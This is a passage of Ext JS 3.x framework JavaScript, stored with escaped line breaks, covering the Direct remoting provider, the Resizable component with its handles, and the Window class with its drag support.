Ext.Direct.removeTransaction(l)\n                }\n            }\n        }\n    }\n}, getCallData:function (a) {\n    return{action:a.action, method:a.method, data:a.data, type:\"rpc\", tid:a.tid}\n}, doSend:function (d) {\n    var g = {url:this.url, callback:this.onData, scope:this, ts:d, timeout:this.timeout}, b;\n    if (Ext.isArray(d)) {\n        b = [];\n        for (var c = 0, a = d.length; c < a; c++) {\n            b.push(this.getCallData(d[c]))\n        }\n    } else {\n        b = this.getCallData(d)\n    }\n    if (this.enableUrlEncode) {\n        var e = {};\n        e[Ext.isString(this.enableUrlEncode) ? this.enableUrlEncode : \"data\"] = Ext.encode(b);\n        g.params = e\n    } else {\n        g.jsonData = b\n    }\n    Ext.Ajax.request(g)\n}, combineAndSend:function () {\n    var a = this.callBuffer.length;\n    if (a > 0) {\n        this.doSend(a == 1 ? this.callBuffer[0] : this.callBuffer);\n        this.callBuffer = []\n    }\n}, queueTransaction:function (a) {\n    if (a.form) {\n        this.processForm(a);\n        return\n    }\n    this.callBuffer.push(a);\n    if (this.enableBuffer) {\n        if (!this.callTask) {\n            this.callTask = new Ext.util.DelayedTask(this.combineAndSend, this)\n        }\n        this.callTask.delay(Ext.isNumber(this.enableBuffer) ? this.enableBuffer : 10)\n    } else {\n        this.combineAndSend()\n    }\n}, doCall:function (i, a, b) {\n    var h = null, e = b[a.len], g = b[a.len + 1];\n    if (a.len !== 0) {\n        h = b.slice(0, a.len)\n    }\n    var d = new Ext.Direct.Transaction({provider:this, args:b, action:i, method:a.name, data:h, cb:g && Ext.isFunction(e) ? e.createDelegate(g) : e});\n    if (this.fireEvent(\"beforecall\", this, d, a) !== false) {\n        Ext.Direct.addTransaction(d);\n        this.queueTransaction(d);\n        this.fireEvent(\"call\", this, d, a)\n    }\n}, doForm:function (j, b, g, i, e) {\n    var d = new Ext.Direct.Transaction({provider:this, action:j, method:b.name, args:[g, i, e], cb:e && Ext.isFunction(i) ? i.createDelegate(e) : i, isForm:true});\n    if (this.fireEvent(\"beforecall\", this, d, b) !== false) {\n        Ext.Direct.addTransaction(d);\n        var a = String(g.getAttribute(\"enctype\")).toLowerCase() == \"multipart/form-data\", h = {extTID:d.tid, extAction:j, extMethod:b.name, extType:\"rpc\", extUpload:String(a)};\n        Ext.apply(d, {form:Ext.getDom(g), isUpload:a, params:i && Ext.isObject(i.params) ? Ext.apply(h, i.params) : h});\n        this.fireEvent(\"call\", this, d, b);\n        this.processForm(d)\n    }\n}, processForm:function (a) {\n    Ext.Ajax.request({url:this.url, params:a.params, callback:this.onData, scope:this, form:a.form, isUpload:a.isUpload, ts:a})\n}, createMethod:function (d, a) {\n    var b;\n    if (!a.formHandler) {\n        b = function () {\n            this.doCall(d, a, Array.prototype.slice.call(arguments, 0))\n        }.createDelegate(this)\n    } else {\n        b = function (e, g, c) {\n            this.doForm(d, a, e, g, c)\n        }.createDelegate(this)\n    }\n    b.directCfg = {action:d, method:a};\n    return b\n}, getTransaction:function (a) {\n    return a && a.tid ? Ext.Direct.getTransaction(a.tid) : null\n}, doCallback:function (c, g) {\n    var d = g.status ? \"success\" : \"failure\";\n    if (c && c.cb) {\n        var b = c.cb, a = Ext.isDefined(g.result) ? g.result : g.data;\n        if (Ext.isFunction(b)) {\n            b(a, g)\n        } else {\n            Ext.callback(b[d], b.scope, [a, g]);\n            Ext.callback(b.callback, b.scope, [a, g])\n        }\n    }\n}});\nExt.Direct.PROVIDERS.remoting = Ext.direct.RemotingProvider;\nExt.Resizable = Ext.extend(Ext.util.Observable, {constructor:function (d, e) {\n    this.el = Ext.get(d);\n    if (e && e.wrap) {\n        e.resizeChild = this.el;\n        this.el = this.el.wrap(typeof e.wrap == \"object\" ? e.wrap : {cls:\"xresizable-wrap\"});\n        this.el.id = this.el.dom.id = e.resizeChild.id + \"-rzwrap\";\n        this.el.setStyle(\"overflow\", \"hidden\");\n        this.el.setPositioning(e.resizeChild.getPositioning());\n        e.resizeChild.clearPositioning();\n        if (!e.width || !e.height) {\n            var g = e.resizeChild.getSize();\n            this.el.setSize(g.width, g.height)\n        }\n        if (e.pinned && !e.adjustments) {\n            e.adjustments = \"auto\"\n        }\n    }\n    this.proxy = this.el.createProxy({tag:\"div\", cls:\"x-resizable-proxy\", id:this.el.id + \"-rzproxy\"}, Ext.getBody());\n    this.proxy.unselectable();\n    this.proxy.enableDisplayMode(\"block\");\n    Ext.apply(this, e);\n    if (this.pinned) {\n        this.disableTrackOver = true;\n        this.el.addClass(\"x-resizable-pinned\")\n    }\n    var k = this.el.getStyle(\"position\");\n    if (k != \"absolute\" && k != \"fixed\") {\n        this.el.setStyle(\"position\", \"relative\")\n    }\n    if (!this.handles) {\n        this.handles = \"s,e,se\";\n        if (this.multiDirectional) {\n            this.handles += \",n,w\"\n        }\n    }\n    if (this.handles == \"all\") {\n        this.handles = \"n s e w ne nw se sw\"\n    }\n    var o = this.handles.split(/\\s*?[,;]\\s*?| /);\n    var c = Ext.Resizable.positions;\n    for (var j = 0, l = o.length; j < l; j++) {\n        if (o[j] && c[o[j]]) {\n            var n = c[o[j]];\n            this[n] = new Ext.Resizable.Handle(this, n, this.disableTrackOver, this.transparent, this.handleCls)\n        }\n    }\n    this.corner = this.southeast;\n    if (this.handles.indexOf(\"n\") != -1 || this.handles.indexOf(\"w\") != -1) {\n        this.updateBox = true\n    }\n    this.activeHandle = null;\n    if (this.resizeChild) {\n        if (typeof this.resizeChild == \"boolean\") {\n            this.resizeChild = Ext.get(this.el.dom.firstChild, true)\n        } else {\n            this.resizeChild = Ext.get(this.resizeChild, true)\n        }\n    }\n    if (this.adjustments == \"auto\") {\n        var b = this.resizeChild;\n        var m = this.west, h = this.east, a = this.north, o = this.south;\n        if (b && (m || a)) {\n            b.position(\"relative\");\n            b.setLeft(m ? m.el.getWidth() : 0);\n            b.setTop(a ? a.el.getHeight() : 0)\n        }\n        this.adjustments = [(h ? -h.el.getWidth() : 0) + (m ? -m.el.getWidth() : 0), (a ? -a.el.getHeight() : 0) + (o ? -o.el.getHeight() : 0) - 1]\n    }\n    if (this.draggable) {\n        this.dd = this.dynamic ? this.el.initDD(null) : this.el.initDDProxy(null, {dragElId:this.proxy.id});\n        this.dd.setHandleElId(this.resizeChild ? this.resizeChild.id : this.el.id);\n        if (this.constrainTo) {\n            this.dd.constrainTo(this.constrainTo)\n        }\n    }\n    this.addEvents(\"beforeresize\", \"resize\");\n    if (this.width !== null && this.height !== null) {\n        this.resizeTo(this.width, this.height)\n    } else {\n        this.updateChildSize()\n    }\n    if (Ext.isIE) {\n        this.el.dom.style.zoom = 1\n    }\n    Ext.Resizable.superclass.constructor.call(this)\n}, adjustments:[0, 0], animate:false, disableTrackOver:false, draggable:false, duration:0.35, dynamic:false, easing:\"easeOutStrong\", enabled:true, handles:false, multiDirectional:false, height:null, width:null, heightIncrement:0, widthIncrement:0, minHeight:5, minWidth:5, maxHeight:10000, maxWidth:10000, minX:0, minY:0, pinned:false, preserveRatio:false, resizeChild:false, transparent:false, resizeTo:function (b, a) {\n    this.el.setSize(b, a);\n    this.updateChildSize();\n    this.fireEvent(\"resize\", this, b, a, null)\n}, startSizing:function (c, b) {\n    this.fireEvent(\"beforeresize\", this, c);\n    if (this.enabled) {\n        if (!this.overlay) {\n            this.overlay = this.el.createProxy({tag:\"div\", cls:\"x-resizable-overlay\", html:\"&#160;\"}, Ext.getBody());\n            this.overlay.unselectable();\n            this.overlay.enableDisplayMode(\"block\");\n            this.overlay.on({scope:this, mousemove:this.onMouseMove, mouseup:this.onMouseUp})\n        }\n        this.overlay.setStyle(\"cursor\", b.el.getStyle(\"cursor\"));\n        this.resizing = true;\n        this.startBox = this.el.getBox();\n        this.startPoint = c.getXY();\n        this.offsets = [(this.startBox.x + this.startBox.width) - this.startPoint[0], (this.startBox.y + this.startBox.height) - this.startPoint[1]];\n        this.overlay.setSize(Ext.lib.Dom.getViewWidth(true), Ext.lib.Dom.getViewHeight(true));\n        this.overlay.show();\n        if (this.constrainTo) {\n            var a = Ext.get(this.constrainTo);\n            this.resizeRegion = a.getRegion().adjust(a.getFrameWidth(\"t\"), a.getFrameWidth(\"l\"), -a.getFrameWidth(\"b\"), -a.getFrameWidth(\"r\"))\n        }\n        this.proxy.setStyle(\"visibility\", \"hidden\");\n        this.proxy.show();\n        this.proxy.setBox(this.startBox);\n        if (!this.dynamic) {\n            this.proxy.setStyle(\"visibility\", \"visible\")\n        }\n    }\n}, onMouseDown:function (a, b) {\n    if (this.enabled) {\n        b.stopEvent();\n        this.activeHandle = a;\n        this.startSizing(b, a)\n    }\n}, onMouseUp:function (b) {\n    this.activeHandle = null;\n    var a = this.resizeElement();\n    this.resizing = false;\n    this.handleOut();\n    this.overlay.hide();\n    this.proxy.hide();\n    this.fireEvent(\"resize\", this, a.width, a.height, b)\n}, updateChildSize:function () {\n    if (this.resizeChild) {\n        var d = this.el;\n        var e = this.resizeChild;\n        var c = this.adjustments;\n        if (d.dom.offsetWidth) {\n            var a = d.getSize(true);\n            e.setSize(a.width + c[0], a.height + c[1])\n        }\n        if (Ext.isIE) {\n            setTimeout(function () {\n                if (d.dom.offsetWidth) {\n                    var g = d.getSize(true);\n                    e.setSize(g.width + c[0], g.height + c[1])\n                }\n            }, 10)\n        }\n    }\n}, snap:function (c, e, b) {\n    if (!e || !c) {\n        return c\n    }\n    var d = c;\n    var a = c % e;\n    if (a > 0) {\n        if (a > (e / 2)) {\n            d = c + (e - a)\n        } else {\n            d = c - a\n        }\n    }\n    return Math.max(b, d)\n}, resizeElement:function () {\n    var a = this.proxy.getBox();\n    if (this.updateBox) {\n        this.el.setBox(a, false, this.animate, this.duration, null, this.easing)\n    } else {\n        this.el.setSize(a.width, a.height, this.animate, this.duration, null, this.easing)\n    }\n    this.updateChildSize();\n    if (!this.dynamic) {\n        this.proxy.hide()\n    }\n    if (this.draggable && this.constrainTo) {\n        this.dd.resetConstraints();\n        this.dd.constrainTo(this.constrainTo)\n    }\n    return a\n}, constrain:function (b, c, a, d) {\n    if (b - c < a) {\n        c = b - a\n    } else {\n        if (b - c > d) {\n            c = b - d\n        }\n    }\n    return c\n}, onMouseMove:function (z) {\n    if (this.enabled && this.activeHandle) {\n        try {\n            if (this.resizeRegion && !this.resizeRegion.contains(z.getPoint())) {\n                return\n            }\n            var t = this.curSize || this.startBox, l = this.startBox.x, k = this.startBox.y, c = l, b = k, m = t.width, u = t.height, d = m, o = u, n = this.minWidth, A = this.minHeight, s = this.maxWidth, D = this.maxHeight, i = this.widthIncrement, a = this.heightIncrement, B = z.getXY(), r = -(this.startPoint[0] - Math.max(this.minX, B[0])), p = -(this.startPoint[1] - Math.max(this.minY, B[1])), j = this.activeHandle.position, E, g;\n            switch (j) {\n                case\"east\":\n                    m += r;\n                    m = Math.min(Math.max(n, m), s);\n                    break;\n                case\"south\":\n                    u += p;\n                    u = Math.min(Math.max(A, u), D);\n                    break;\n                case\"southeast\":\n                    m += r;\n                    u += p;\n                    m = Math.min(Math.max(n, m), s);\n                    u = Math.min(Math.max(A, u), D);\n                    break;\n                case\"north\":\n                    p = this.constrain(u, p, A, D);\n                    k += p;\n                    u -= p;\n                    break;\n                case\"west\":\n                    r = this.constrain(m, r, n, s);\n                    l += r;\n                    m -= r;\n                    break;\n                case\"northeast\":\n                    m += r;\n                    m = Math.min(Math.max(n, m), s);\n                    p = this.constrain(u, p, A, D);\n                    k += p;\n                    u -= p;\n                    break;\n                case\"northwest\":\n                    r = this.constrain(m, r, n, s);\n                    p = this.constrain(u, p, A, D);\n                    k += p;\n                    u -= p;\n                    l += r;\n                    m -= r;\n                    break;\n                case\"southwest\":\n                    r = this.constrain(m, r, n, s);\n                    u += p;\n                    u = Math.min(Math.max(A, u), D);\n                    l += r;\n                    m -= r;\n                    break\n            }\n            var q = this.snap(m, i, n);\n            var C = this.snap(u, a, A);\n            if (q != m || C != u) {\n                switch (j) {\n                    case\"northeast\":\n                        k -= C - u;\n                        break;\n                    case\"north\":\n                        k -= C - u;\n                        break;\n                    case\"southwest\":\n                        l -= q - m;\n                        break;\n                    case\"west\":\n                        l -= q - m;\n                        break;\n                    case\"northwest\":\n                        l -= q - m;\n                        k -= C - u;\n                        break\n                }\n                m = q;\n                u = C\n            }\n            if (this.preserveRatio) {\n                switch (j) {\n                    case\"southeast\":\n                    case\"east\":\n                        u = o * (m / d);\n                        u = Math.min(Math.max(A, u), D);\n                        m = d * (u / o);\n                        break;\n                    case\"south\":\n                        m = d * (u / o);\n                        m = Math.min(Math.max(n, m), s);\n                        u = o * (m / d);\n                        break;\n                    case\"northeast\":\n                        m = d * (u / o);\n                        m = Math.min(Math.max(n, m), s);\n                        u = o * (m / d);\n                        break;\n                    case\"north\":\n                        E = m;\n                        m = d * (u / o);\n                        m = Math.min(Math.max(n, m), s);\n                        u = o * (m / d);\n                        l += (E - m) / 2;\n                        break;\n                    case\"southwest\":\n                        u = o * (m / d);\n                        u = Math.min(Math.max(A, u), D);\n                        E = m;\n                        m = d * (u / o);\n                        l += E - m;\n                        break;\n                    case\"west\":\n                        g = u;\n                        u = o * (m / d);\n                        u = Math.min(Math.max(A, u), D);\n                        k += (g - u) / 2;\n                        E = m;\n                        m = d * (u / o);\n                        l += E - m;\n                        break;\n                    case\"northwest\":\n                        E = m;\n                        g = u;\n                        u = o * (m / d);\n                        u = Math.min(Math.max(A, u), D);\n                        m = d * (u / o);\n                        k += g - u;\n                        l += E - m;\n                        break\n                }\n            }\n            this.proxy.setBounds(l, k, m, u);\n            if (this.dynamic) {\n                this.resizeElement()\n            }\n        } catch (v) {\n        }\n    }\n}, handleOver:function () {\n    if (this.enabled) {\n        this.el.addClass(\"x-resizable-over\")\n    }\n}, handleOut:function () {\n    if (!this.resizing) {\n        this.el.removeClass(\"x-resizable-over\")\n    }\n}, getEl:function () {\n    return this.el\n}, getResizeChild:function () {\n    return this.resizeChild\n}, destroy:function (b) {\n    Ext.destroy(this.dd, this.overlay, this.proxy);\n    this.overlay = null;\n    this.proxy = null;\n    var c = Ext.Resizable.positions;\n    for (var a in c) {\n        if (typeof c[a] != \"function\" && this[c[a]]) {\n            this[c[a]].destroy()\n        }\n    }\n    if (b) {\n        this.el.update(\"\");\n        Ext.destroy(this.el);\n        this.el = null\n    }\n    this.purgeListeners()\n}, syncHandleHeight:function () {\n    var a = this.el.getHeight(true);\n    if (this.west) {\n        this.west.el.setHeight(a)\n    }\n    if (this.east) {\n        this.east.el.setHeight(a)\n    }\n}});\nExt.Resizable.positions = {n:\"north\", s:\"south\", e:\"east\", w:\"west\", se:\"southeast\", sw:\"southwest\", nw:\"northwest\", ne:\"northeast\"};\nExt.Resizable.Handle = Ext.extend(Object, {constructor:function (d, g, c, e, a) {\n    if (!this.tpl) {\n        var b = Ext.DomHelper.createTemplate({tag:\"div\", cls:\"x-resizable-handle x-resizable-handle-{0}\"});\n        b.compile();\n        Ext.Resizable.Handle.prototype.tpl = b\n    }\n    this.position = g;\n    this.rz = d;\n    this.el = this.tpl.append(d.el.dom, [this.position], true);\n    this.el.unselectable();\n    if (e) {\n        this.el.setOpacity(0)\n    }\n    if (!Ext.isEmpty(a)) {\n        this.el.addClass(a)\n    }\n    this.el.on(\"mousedown\", this.onMouseDown, this);\n    if (!c) {\n        this.el.on({scope:this, mouseover:this.onMouseOver, mouseout:this.onMouseOut})\n    }\n}, afterResize:function (a) {\n}, onMouseDown:function (a) {\n    this.rz.onMouseDown(this, a)\n}, onMouseOver:function (a) {\n    this.rz.handleOver(this, a)\n}, onMouseOut:function (a) {\n    this.rz.handleOut(this, a)\n}, destroy:function () {\n    Ext.destroy(this.el);\n    this.el = null\n}});\nExt.Window = Ext.extend(Ext.Panel, {baseCls:\"x-window\", resizable:true, draggable:true, closable:true, closeAction:\"close\", constrain:false, constrainHeader:false, plain:false, minimizable:false, maximizable:false, minHeight:100, minWidth:200, expandOnShow:true, showAnimDuration:0.25, hideAnimDuration:0.25, collapsible:false, initHidden:undefined, hidden:true, elements:\"header,body\", frame:true, floating:true, initComponent:function () {\n    this.initTools();\n    Ext.Window.superclass.initComponent.call(this);\n    this.addEvents(\"resize\", \"maximize\", \"minimize\", \"restore\");\n    if (Ext.isDefined(this.initHidden)) {\n        this.hidden = this.initHidden\n    }\n    if (this.hidden === false) {\n        this.hidden = true;\n        this.show()\n    }\n}, getState:function () {\n    return Ext.apply(Ext.Window.superclass.getState.call(this) || {}, this.getBox(true))\n}, onRender:function (b, a) {\n    Ext.Window.superclass.onRender.call(this, b, a);\n    if (this.plain) {\n        this.el.addClass(\"x-window-plain\")\n    }\n    this.focusEl = this.el.createChild({tag:\"a\", href:\"#\", cls:\"x-dlg-focus\", tabIndex:\"-1\", html:\"&#160;\"});\n    this.focusEl.swallowEvent(\"click\", true);\n    this.proxy = this.el.createProxy(\"x-window-proxy\");\n    this.proxy.enableDisplayMode(\"block\");\n    if (this.modal) {\n        this.mask = this.container.createChild({cls:\"ext-el-mask\"}, this.el.dom);\n        this.mask.enableDisplayMode(\"block\");\n        this.mask.hide();\n        this.mon(this.mask, \"click\", this.focus, this)\n    }\n    if (this.maximizable) {\n        this.mon(this.header, \"dblclick\", this.toggleMaximize, this)\n    }\n}, initEvents:function () {\n    Ext.Window.superclass.initEvents.call(this);\n    if (this.animateTarget) {\n        this.setAnimateTarget(this.animateTarget)\n    }\n    if (this.resizable) {\n        this.resizer = new Ext.Resizable(this.el, {minWidth:this.minWidth, minHeight:this.minHeight, handles:this.resizeHandles || \"all\", pinned:true, resizeElement:this.resizerAction, handleCls:\"x-window-handle\"});\n        this.resizer.window = this;\n        this.mon(this.resizer, \"beforeresize\", this.beforeResize, this)\n    }\n    if (this.draggable) {\n        this.header.addClass(\"x-window-draggable\")\n    }\n    this.mon(this.el, \"mousedown\", this.toFront, this);\n    this.manager = this.manager || Ext.WindowMgr;\n    this.manager.register(this);\n    if (this.maximized) {\n        this.maximized = false;\n        this.maximize()\n    }\n    if (this.closable) {\n        var a = this.getKeyMap();\n        a.on(27, this.onEsc, this);\n        a.disable()\n    }\n}, initDraggable:function () {\n    this.dd = new Ext.Window.DD(this)\n}, onEsc:function (a, b) {\n    if (this.activeGhost) {\n        this.unghost()\n    }\n    b.stopEvent();\n    this[this.closeAction]()\n}, beforeDestroy:function () {\n    if (this.rendered) {\n        this.hide();\n        this.clearAnchor();\n        Ext.destroy(this.focusEl, this.resizer, this.dd, this.proxy, this.mask)\n    }\n    Ext.Window.superclass.beforeDestroy.call(this)\n}, onDestroy:function () {\n    if (this.manager) {\n        this.manager.unregister(this)\n    }\n    Ext.Window.superclass.onDestroy.call(this)\n}, initTools:function () {\n    if (this.minimizable) {\n        this.addTool({id:\"minimize\", handler:this.minimize.createDelegate(this, [])})\n    }\n    if (this.maximizable) {\n        this.addTool({id:\"maximize\", handler:this.maximize.createDelegate(this, [])});\n        this.addTool({id:\"restore\", handler:this.restore.createDelegate(this, []), hidden:true})\n    }\n    if (this.closable) {\n        this.addTool({id:\"close\", handler:this[this.closeAction].createDelegate(this, [])})\n    }\n}, resizerAction:function () {\n    var a = this.proxy.getBox();\n    this.proxy.hide();\n    this.window.handleResize(a);\n    return a\n}, beforeResize:function () {\n    this.resizer.minHeight = Math.max(this.minHeight, this.getFrameHeight() + 40);\n    this.resizer.minWidth = Math.max(this.minWidth, this.getFrameWidth() + 40);\n    this.resizeBox = this.el.getBox()\n}, updateHandles:function () {\n    if (Ext.isIE && this.resizer) {\n        this.resizer.syncHandleHeight();\n        this.el.repaint()\n    }\n}, handleResize:function (b) {\n    var a = this.resizeBox;\n    if (a.x != b.x || a.y != b.y) {\n        this.updateBox(b)\n    } else {\n        this.setSize(b);\n        if (Ext.isIE6 && Ext.isStrict) {\n            this.doLayout()\n        }\n    }\n    this.focus();\n    this.updateHandles();\n    this.saveState()\n}, focus:function () {\n    var e = this.focusEl, a = this.defaultButton, c = typeof a, d, b;\n    if (Ext.isDefined(a)) {\n        if (Ext.isNumber(a) && this.fbar) {\n            e = this.fbar.items.get(a)\n        } else {\n            if (Ext.isString(a)) {\n                e = Ext.getCmp(a)\n            } else {\n                e = a\n            }\n        }\n        d = e.getEl();\n        b = Ext.getDom(this.container);\n        if (d && b) {\n            if (b != document.body && !Ext.lib.Region.getRegion(b).contains(Ext.lib.Region.getRegion(d.dom))) {\n                return\n            }\n        }\n    }\n    e = e || this.focusEl;\n    e.focus.defer(10, e)\n}, setAnimateTarget:function (a) {\n    a = Ext.get(a);\n    this.animateTarget = a\n}, beforeShow:function () {\n    delete this.el.lastXY;\n    delete this.el.lastLT;\n    if (this.x === undefined || this.y === undefined) {\n        var a = this.el.getAlignToXY(this.container, \"c-c\");\n        var b = this.el.translatePoints(a[0], a[1]);\n        this.x = this.x === undefined ? b.left : this.x;\n        this.y = this.y === undefined ? b.top : this.y\n    }\n    this.el.setLeftTop(this.x, this.y);\n    if (this.expandOnShow) {\n        this.expand(false)\n    }\n    if (this.modal) {\n        Ext.getBody().addClass(\"x-body-masked\");\n        this.mask.setSize(Ext.lib.Dom.getViewWidth(true), Ext.lib.Dom.getViewHeight(true));\n        this.mask.show()\n    }\n}, show:function (c, a, b) {\n    if (!this.rendered) {\n        this.render(Ext.getBody())\n    }\n    if (this.hidden === false) {\n        this.toFront();\n        return this\n    }\n    if (this.fireEvent(\"beforeshow\", this) === false) {\n        return this\n    }\n    if (a) {\n        this.on(\"show\", a, b, {single:true})\n    }\n    this.hidden = false;\n    if (Ext.isDefined(c)) {\n        this.setAnimateTarget(c)\n    }\n    this.beforeShow();\n    if (this.animateTarget) {\n        this.animShow()\n    } else {\n        this.afterShow()\n    }\n    return this\n}, afterShow:function (b) {\n    if (this.isDestroyed) {\n        return false\n    }\n    this.proxy.hide();\n    this.el.setStyle(\"display\", \"block\");\n    this.el.show();\n    if (this.maximized) {\n        this.fitContainer()\n    }\n    if (Ext.isMac && Ext.isGecko2) {\n        this.cascade(this.setAutoScroll)\n    }\n    if (this.monitorResize || this.modal || this.constrain || this.constrainHeader) {\n        Ext.EventManager.onWindowResize(this.onWindowResize, this)\n    }\n    this.doConstrain();\n    this.doLayout();\n    if (this.keyMap) {\n        this.keyMap.enable()\n    }\n    this.toFront();\n    this.updateHandles();\n    if (b && (Ext.isIE || Ext.isWebKit)) {\n        var a = this.getSize();\n        this.onResize(a.width, a.height)\n    }\n    this.onShow();\n    this.fireEvent(\"show\", this)\n}, animShow:function () {\n    this.proxy.show();\n    this.proxy.setBox(this.animateTarget.getBox());\n    this.proxy.setOpacity(0);\n    var a = this.getBox();\n    this.el.setStyle(\"display\", \"none\");\n    this.proxy.shift(Ext.apply(a, {callback:this.afterShow.createDelegate(this, [true], false), scope:this, easing:\"easeNone\", duration:this.showAnimDuration, opacity:0.5}))\n}, hide:function (c, a, b) {\n    if (this.hidden || this.fireEvent(\"beforehide\", this) === false) {\n        return this\n    }\n    if (a) {\n        this.on(\"hide\", a, b, {single:true})\n    }\n    this.hidden = true;\n    if (c !== undefined) {\n        this.setAnimateTarget(c)\n    }\n    if (this.modal) {\n        this.mask.hide();\n        Ext.getBody().removeClass(\"x-body-masked\")\n    }\n    if (this.animateTarget) {\n        this.animHide()\n    } else {\n        this.el.hide();\n        this.afterHide()\n    }\n    return this\n}, afterHide:function () {\n    this.proxy.hide();\n    if (this.monitorResize || this.modal || this.constrain || this.constrainHeader) {\n        Ext.EventManager.removeResizeListener(this.onWindowResize, this)\n    }\n    if (this.keyMap) {\n        this.keyMap.disable()\n    }\n    this.onHide();\n    this.fireEvent(\"hide\", this)\n}, animHide:function () {\n    this.proxy.setOpacity(0.5);\n    this.proxy.show();\n    var a = this.getBox(false);\n    this.proxy.setBox(a);\n    this.el.hide();\n    this.proxy.shift(Ext.apply(this.animateTarget.getBox(), {callback:this.afterHide, scope:this, duration:this.hideAnimDuration, easing:\"easeNone\", opacity:0}))\n}, onShow:Ext.emptyFn, onHide:Ext.emptyFn, onWindowResize:function () {\n    if (this.maximized) {\n        this.fitContainer()\n    }\n    if (this.modal) {\n        this.mask.setSize(\"100%\", \"100%\");\n        var a = this.mask.dom.offsetHeight;\n        this.mask.setSize(Ext.lib.Dom.getViewWidth(true), Ext.lib.Dom.getViewHeight(true))\n    }\n    this.doConstrain()\n}, doConstrain:function () {\n    if (this.constrain || this.constrainHeader) {\n        var b;\n        if (this.constrain) {\n            b = {right:this.el.shadowOffset, left:this.el.shadowOffset, bottom:this.el.shadowOffset}\n        } else {\n            var a = this.getSize();\n            b = {right:-(a.width - 100), bottom:-(a.height - 25 + this.el.getConstrainOffset())}\n        }\n        var c = this.el.getConstrainToXY(this.container, true, b);\n        if (c) {\n            this.setPosition(c[0], c[1])\n        }\n    }\n}, ghost:function (a) {\n    var c = this.createGhost(a);\n    var b = this.getBox(true);\n    c.setLeftTop(b.x, b.y);\n    c.setWidth(b.width);\n    this.el.hide();\n    this.activeGhost = c;\n    return c\n}, unghost:function (b, a) {\n    if (!this.activeGhost) {\n        return\n    }\n    if (b !== false) {\n        this.el.show();\n        this.focus.defer(10, this);\n        if (Ext.isMac && Ext.isGecko2) {\n            this.cascade(this.setAutoScroll)\n        }\n    }\n    if (a !== false) {\n        this.setPosition(this.activeGhost.getLeft(true), this.activeGhost.getTop(true))\n    }\n    this.activeGhost.hide();\n    this.activeGhost.remove();\n    delete this.activeGhost\n}, minimize:function () {\n    this.fireEvent(\"minimize\", this);\n    return this\n}, close:function () {\n    if (this.fireEvent(\"beforeclose\", this) !== false) {\n        if (this.hidden) {\n            this.doClose()\n        } else {\n            this.hide(null, this.doClose, this)\n        }\n    }\n}, doClose:function () {\n    this.fireEvent(\"close\", this);\n    this.destroy()\n}, maximize:function () {\n    if (!this.maximized) {\n        this.expand(false);\n        this.restoreSize = this.getSize();\n        this.restorePos = this.getPosition(true);\n        if (this.maximizable) {\n            this.tools.maximize.hide();\n            this.tools.restore.show()\n        }\n        this.maximized = true;\n        this.el.disableShadow();\n        if (this.dd) {\n            this.dd.lock()\n        }\n        if (this.collapsible) {\n            this.tools.toggle.hide()\n        }\n        this.el.addClass(\"x-window-maximized\");\n        this.container.addClass(\"x-window-maximized-ct\");\n        this.setPosition(0, 0);\n        this.fitContainer();\n        this.fireEvent(\"maximize\", this)\n    }\n    return this\n}, restore:function () {\n    if (this.maximized) {\n        var a = this.tools;\n        this.el.removeClass(\"x-window-maximized\");\n        if (a.restore) {\n            a.restore.hide()\n        }\n        if (a.maximize) {\n            a.maximize.show()\n        }\n        this.setPosition(this.restorePos[0], this.restorePos[1]);\n        this.setSize(this.restoreSize.width, this.restoreSize.height);\n        delete this.restorePos;\n        delete this.restoreSize;\n        this.maximized = false;\n        this.el.enableShadow(true);\n        if (this.dd) {\n            this.dd.unlock()\n        }\n        if (this.collapsible && a.toggle) {\n            a.toggle.show()\n        }\n        this.container.removeClass(\"x-window-maximized-ct\");\n        this.doConstrain();\n        this.fireEvent(\"restore\", this)\n    }\n    return this\n}, toggleMaximize:function () {\n    return this[this.maximized ? \"restore\" : \"maximize\"]()\n}, fitContainer:function () {\n    var a = this.container.getViewSize(false);\n    this.setSize(a.width, a.height)\n}, setZIndex:function (a) {\n    if (this.modal) {\n        this.mask.setStyle(\"z-index\", a)\n    }\n    this.el.setZIndex(++a);\n    a += 5;\n    if (this.resizer) {\n        this.resizer.proxy.setStyle(\"z-index\", ++a)\n    }\n    this.lastZIndex = a\n}, alignTo:function (b, a, c) {\n    var d = this.el.getAlignToXY(b, a, c);\n    this.setPagePosition(d[0], d[1]);\n    return this\n}, anchorTo:function (c, e, d, b) {\n    this.clearAnchor();\n    this.anchorTarget = {el:c, alignment:e, offsets:d};\n    Ext.EventManager.onWindowResize(this.doAnchor, this);\n    var a = typeof b;\n    if (a != \"undefined\") {\n        Ext.EventManager.on(window, \"scroll\", this.doAnchor, this, {buffer:a == \"number\" ? b : 50})\n    }\n    return this.doAnchor()\n}, doAnchor:function () {\n    var a = this.anchorTarget;\n    this.alignTo(a.el, a.alignment, a.offsets);\n    return this\n}, clearAnchor:function () {\n    if (this.anchorTarget) {\n        Ext.EventManager.removeResizeListener(this.doAnchor, this);\n        Ext.EventManager.un(window, \"scroll\", this.doAnchor, this);\n        delete this.anchorTarget\n    }\n    return this\n}, toFront:function (a) {\n    if (this.manager.bringToFront(this)) {\n        if (!a || !a.getTarget().focus) {\n            this.focus()\n        }\n    }\n    return this\n}, setActive:function (a) {\n    if (a) {\n        if (!this.maximized) {\n            this.el.enableShadow(true)\n        }\n        this.fireEvent(\"activate\", this)\n    } else {\n        this.el.disableShadow();\n        this.fireEvent(\"deactivate\", this)\n    }\n}, toBack:function () {\n    this.manager.sendToBack(this);\n    return this\n}, center:function () {\n    var a = this.el.getAlignToXY(this.container, \"c-c\");\n    this.setPagePosition(a[0], a[1]);\n    return this\n}});\nExt.reg(\"window\", Ext.Window);\nExt.Window.DD = Ext.extend(Ext.dd.DD, {constructor:function (a) {\n    this.win = a;\n    Ext.Window.DD.superclass.constructor.call(this, a.el.id, \"WindowDD-\" + a.id);\n    this.setHandleElId(a.header.id);\n    this.scroll = false\n}, moveOnly:true, headerOffsets:[100, 25], startDrag:function () {\n    var a = this.win;\n    this.proxy = a.ghost(a.initialConfig.cls);\n    if (a.constrain !== false) {\n        var c = a.el.shadowOffset;\n        this.constrainTo(a.container, {right:c, left:c, bottom:c})\n    } else {\n        if (a.constrainHeader !== false) {\n            var b = this.proxy.getSize();\n            this.constrainTo(a.container, {right:-(b.width - this.headerOffsets[0]), bottom:-(b.height - this.headerOffsets[1])})\n        }\n    }\n}, b4Drag:Ext.emptyFn, onDrag:function (a) {\n    this.alignElWithMouse(this.proxy, a.getPageX(), a.getPageY())\n}, endDrag:function (a) {\n    this.win.unghost();\n    